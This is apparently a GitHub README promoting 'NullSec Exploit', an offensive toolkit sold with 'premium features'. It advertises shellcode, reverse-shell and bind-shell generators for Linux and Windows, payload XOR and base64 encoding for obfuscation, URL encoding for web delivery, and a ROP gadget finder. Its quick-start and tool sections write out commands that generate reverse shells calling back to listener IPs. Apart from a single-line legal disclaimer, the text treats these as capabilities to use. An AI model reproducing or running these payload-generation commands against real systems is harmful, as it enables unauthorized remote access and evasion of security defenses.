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πŸ’€ NullSec Exploit

Advanced Exploit Development & Payload Generation

X/Twitter GitHub License

Python C Haskell V

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                       bad-antics

πŸ”“ Join x.com/AnonAntics for premium features!


🎬 Demo

NullSec Exploit Demo β€” Reverse Shell Generator
Generating reverse shells in bash, python, php, perl, ruby, netcat, powershell, java, and 14 more languages β€” with base64/URL encoding support

🎯 Features

Tool Language Description Free Premium
shellgen Python Shellcode generator βœ… πŸ”₯
payloader Python Multi-platform payloads βœ… πŸ”₯
ropfinder C ROP gadget finder ❌ πŸ”₯
encoder Python Payload encoding/obfuscation βœ… πŸ”₯
revshell Python Reverse shell generator βœ… πŸ”₯
bofgen C Buffer overflow skeleton ❌ πŸ”₯

πŸ“ Structure

nullsec-exploit/
β”œβ”€β”€ c/
β”‚   β”œβ”€β”€ ropfinder/       # ROP gadget finder
β”‚   β”œβ”€β”€ bofgen/          # BOF exploit generator
β”‚   └── shellcode/       # Raw shellcode templates
β”œβ”€β”€ python/
β”‚   β”œβ”€β”€ shellgen.py      # Shellcode generator
β”‚   β”œβ”€β”€ payloader.py     # Payload generator
β”‚   β”œβ”€β”€ encoder.py       # Encoding utilities
β”‚   └── revshell.py      # Reverse shell gen
β”œβ”€β”€ asm/
β”‚   β”œβ”€β”€ linux_x64/       # Linux x64 shellcode
β”‚   β”œβ”€β”€ linux_x86/       # Linux x86 shellcode
β”‚   β”œβ”€β”€ windows_x64/     # Windows x64 shellcode
β”‚   └── windows_x86/     # Windows x86 shellcode
└── templates/
    β”œβ”€β”€ exploits/        # Exploit templates
    └── payloads/        # Payload templates

πŸ”§ Shellcode Types

Linux

Type x86 x64 Description
exec βœ… βœ… Execute command
bind βœ… βœ… Bind shell
reverse βœ… βœ… Reverse shell
meterpreter ❌ βœ… Meterpreter stage

Windows

Type x86 x64 Description
exec βœ… βœ… Execute command
bind βœ… βœ… Bind shell
reverse βœ… βœ… Reverse TCP
messagebox βœ… βœ… MessageBox PoC

πŸš€ Quick Start

# Generate reverse shell shellcode
python3 shellgen.py -t reverse -l 192.168.1.100 -p 4444 -a x64 -o linux

# Generate encoded payload
python3 encoder.py -i shellcode.bin -e xor -k 0x41 -o encoded.bin

# Generate one-liner reverse shells
python3 revshell.py -l 192.168.1.100 -p 4444 --all

# Find ROP gadgets
./ropfinder -f /lib/x86_64-linux-gnu/libc.so.6 -o gadgets.txt

πŸ”§ Tool Details

shellgen.py - Shellcode Generator

# Linux x64 reverse shell
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 -a x64 -o linux

# Windows x86 bind shell
python3 shellgen.py -t bind -p 4444 -a x86 -o windows

# With encoding
python3 shellgen.py -t exec -c "id" -a x64 -o linux -e xor

# Output formats
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format c
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format python
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format raw

revshell.py - Reverse Shell Generator

Supports:

  • Bash
  • Python
  • PHP
  • Perl
  • Ruby
  • Netcat
  • PowerShell
  • Java
  • Groovy
# Generate all reverse shells
python3 revshell.py -l 10.0.0.1 -p 4444 --all

# Specific language
python3 revshell.py -l 10.0.0.1 -p 4444 -t python

# URL encoded (for web)
python3 revshell.py -l 10.0.0.1 -p 4444 -t bash --urlencode

# Base64 encoded
python3 revshell.py -l 10.0.0.1 -p 4444 -t powershell --base64

⚠️ Legal Disclaimer

For authorized security testing only. Creating and using exploits without authorization is illegal.


NullSec Framework | GitHub | X/Twitter

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NullSec exploit security toolkit - discord.gg/killers

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